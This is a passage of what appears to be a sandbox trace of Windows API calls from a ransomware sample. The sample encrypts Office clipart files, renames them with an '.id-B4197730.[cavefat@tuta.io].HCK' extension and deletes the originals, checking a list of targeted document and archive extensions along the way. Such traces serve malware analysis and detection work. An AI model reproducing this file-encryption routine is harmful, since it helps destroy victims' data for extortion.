(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0171.461] lstrlenW (lpString=".dbf") returned 4 [0171.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0171.461] lstrlenW (lpString=".1cd") returned 4 [0171.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0171.461] lstrlenW (lpString=".jpg") returned 4 [0171.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0171.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0171.461] lstrlenW (lpString=".doc") returned 4 [0171.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.461] lstrlenW (lpString=".docx") returned 5 [0171.461] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.461] lstrlenW (lpString=".pdf") returned 4 [0171.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.461] lstrlenW (lpString=".xls") returned 4 [0171.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.461] lstrlenW (lpString=".xlsx") returned 5 [0171.461] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.461] lstrlenW (lpString=".ppt") returned 4 [0171.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0171.461] lstrlenW (lpString=".zip") returned 4 [0171.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.461] lstrlenW (lpString=".rar") returned 4 [0171.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.461] lstrlenW (lpString=".bz2") returned 4 [0171.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.461] lstrlenW (lpString=".7z") returned 3 [0171.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0171.462] lstrlenW (lpString=".dbf") returned 4 [0171.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0171.462] lstrlenW (lpString=".1cd") returned 4 [0171.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0171.462] lstrlenW (lpString=".jpg") returned 4 [0171.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.462] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.462] lstrlenW (lpString="J0240175.WMF") returned 12 [0171.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.465] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=42000) returned 1 [0171.465] CloseHandle (hObject=0x30c) returned 1 [0171.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf")) returned 0x220 [0171.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.476] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.476] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0171.478] GetLastError () returned 0x0 [0171.478] ReadFile (in: hFile=0x374, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xa410, lpOverlapped=0x0) returned 1 [0171.481] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xa420, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xa420, lpOverlapped=0x0) returned 1 [0171.482] ReadFile (in: hFile=0x374, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.482] WriteFile (in: hFile=0x378, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.482] SetEndOfFile (hFile=0x378) returned 1 [0171.487] CloseHandle (hObject=0x378) returned 1 [0171.488] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.488] SetEndOfFile (hFile=0x374) returned 1 [0171.494] CloseHandle (hObject=0x374) returned 1 [0171.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0240175.wmf")) returned 1 [0171.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0171.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0171.499] lstrlenW (lpString=".doc") returned 4 [0171.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.499] lstrlenW (lpString=".docx") returned 5 [0171.499] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.499] lstrlenW (lpString=".pdf") returned 4 [0171.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.499] lstrlenW (lpString=".xls") returned 4 [0171.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.499] lstrlenW (lpString=".xlsx") returned 5 [0171.499] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.499] lstrlenW (lpString=".ppt") returned 4 [0171.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0171.499] lstrlenW (lpString=".zip") returned 4 [0171.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.499] lstrlenW (lpString=".rar") returned 4 [0171.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.499] lstrlenW (lpString=".bz2") returned 4 [0171.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.499] lstrlenW (lpString=".7z") returned 3 [0171.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0171.499] lstrlenW (lpString=".dbf") returned 4 [0171.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0171.499] lstrlenW (lpString=".1cd") returned 4 [0171.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0171.500] lstrlenW (lpString=".jpg") returned 4 [0171.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0171.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0171.500] lstrlenW (lpString=".doc") returned 4 [0171.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.500] lstrlenW (lpString=".docx") returned 5 [0171.500] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0171.500] lstrlenW (lpString=".pdf") returned 4 [0171.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.500] lstrlenW (lpString=".xls") returned 4 [0171.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.500] lstrlenW (lpString=".xlsx") returned 5 [0171.500] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0171.500] lstrlenW (lpString=".ppt") returned 4 [0171.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0171.500] lstrlenW (lpString=".zip") returned 4 [0171.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.500] lstrlenW (lpString=".rar") returned 4 [0171.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.500] lstrlenW (lpString=".bz2") returned 4 [0171.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.500] lstrlenW (lpString=".7z") returned 3 [0171.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0171.500] lstrlenW (lpString=".dbf") returned 4 [0171.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0171.500] lstrlenW (lpString=".1cd") returned 4 [0171.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0240175.WMF") returned 68 [0171.500] lstrlenW (lpString=".jpg") returned 4 [0171.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.500] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.500] lstrlenW (lpString="J0241037.WMF") returned 12 [0171.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0171.504] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2638) returned 1 [0171.504] CloseHandle (hObject=0x30c) returned 1 [0171.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf")) returned 0x220 [0171.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.522] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.522] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0171.526] GetLastError () returned 0x0 [0171.526] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xa4e, lpOverlapped=0x0) returned 1 [0171.529] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xa50, lpOverlapped=0x0) returned 1 [0171.531] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.531] WriteFile (in: hFile=0x380, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.531] SetEndOfFile (hFile=0x380) returned 1 [0171.538] CloseHandle (hObject=0x380) returned 1 [0171.541] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.542] SetEndOfFile (hFile=0x370) returned 1 [0171.544] CloseHandle (hObject=0x370) returned 1 [0171.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241037.wmf")) returned 1 [0171.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0171.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0171.546] lstrlenW (lpString=".doc") returned 4 [0171.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.546] lstrlenW (lpString=".docx") returned 5 [0171.546] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0171.546] lstrlenW (lpString=".pdf") returned 4 [0171.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.546] lstrlenW (lpString=".xls") returned 4 [0171.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.546] lstrlenW (lpString=".xlsx") returned 5 [0171.546] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0171.546] lstrlenW (lpString=".ppt") returned 4 [0171.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0171.546] lstrlenW (lpString=".zip") returned 4 [0171.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.546] lstrlenW (lpString=".rar") returned 4 [0171.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.546] lstrlenW (lpString=".bz2") returned 4 [0171.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.546] lstrlenW (lpString=".7z") returned 3 [0171.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0171.546] lstrlenW (lpString=".dbf") returned 4 [0171.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0171.546] lstrlenW (lpString=".1cd") returned 4 [0171.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0171.547] lstrlenW (lpString=".jpg") returned 4 [0171.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0171.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0171.547] lstrlenW (lpString=".doc") returned 4 [0171.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.547] lstrlenW (lpString=".docx") returned 5 [0171.547] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0171.547] lstrlenW (lpString=".pdf") returned 4 [0171.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.547] lstrlenW (lpString=".xls") returned 4 [0171.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.547] lstrlenW (lpString=".xlsx") returned 5 [0171.547] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0171.547] lstrlenW (lpString=".ppt") returned 4 [0171.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0171.547] lstrlenW (lpString=".zip") returned 4 [0171.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.547] lstrlenW (lpString=".rar") returned 4 [0171.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.547] lstrlenW (lpString=".bz2") returned 4 [0171.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.547] lstrlenW (lpString=".7z") returned 3 [0171.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0171.547] lstrlenW (lpString=".dbf") returned 4 [0171.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0171.547] lstrlenW (lpString=".1cd") returned 4 [0171.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241037.WMF") returned 68 [0171.547] lstrlenW (lpString=".jpg") returned 4 [0171.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.547] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.547] lstrlenW (lpString="J0241773.WMF") returned 12 [0171.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0171.551] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3262) returned 1 [0171.551] CloseHandle (hObject=0x364) returned 1 [0171.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf")) returned 0x220 [0171.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0171.564] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.564] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0171.566] GetLastError () returned 0x0 [0171.566] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xcbe, lpOverlapped=0x0) returned 1 [0171.568] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0171.569] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.569] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.569] SetEndOfFile (hFile=0x368) returned 1 [0171.572] CloseHandle (hObject=0x368) returned 1 [0171.573] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.573] SetEndOfFile (hFile=0x354) returned 1 [0171.577] CloseHandle (hObject=0x354) returned 1 [0171.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0241773.wmf")) returned 1 [0171.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0171.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0171.581] lstrlenW (lpString=".doc") returned 4 [0171.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.581] lstrlenW (lpString=".docx") returned 5 [0171.581] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0171.581] lstrlenW (lpString=".pdf") returned 4 [0171.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.581] lstrlenW (lpString=".xls") returned 4 [0171.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.581] lstrlenW (lpString=".xlsx") returned 5 [0171.581] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0171.581] lstrlenW (lpString=".ppt") returned 4 [0171.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0171.581] lstrlenW (lpString=".zip") returned 4 [0171.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.581] lstrlenW (lpString=".rar") returned 4 [0171.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.581] lstrlenW (lpString=".bz2") returned 4 [0171.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.581] lstrlenW (lpString=".7z") returned 3 [0171.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0171.581] lstrlenW (lpString=".dbf") returned 4 [0171.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0171.581] lstrlenW (lpString=".1cd") returned 4 [0171.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0241773.WMF") returned 68 [0171.581] lstrlenW (lpString=".jpg") returned 4 [0171.581] lstrcmpiW (lpString1=".jpg", 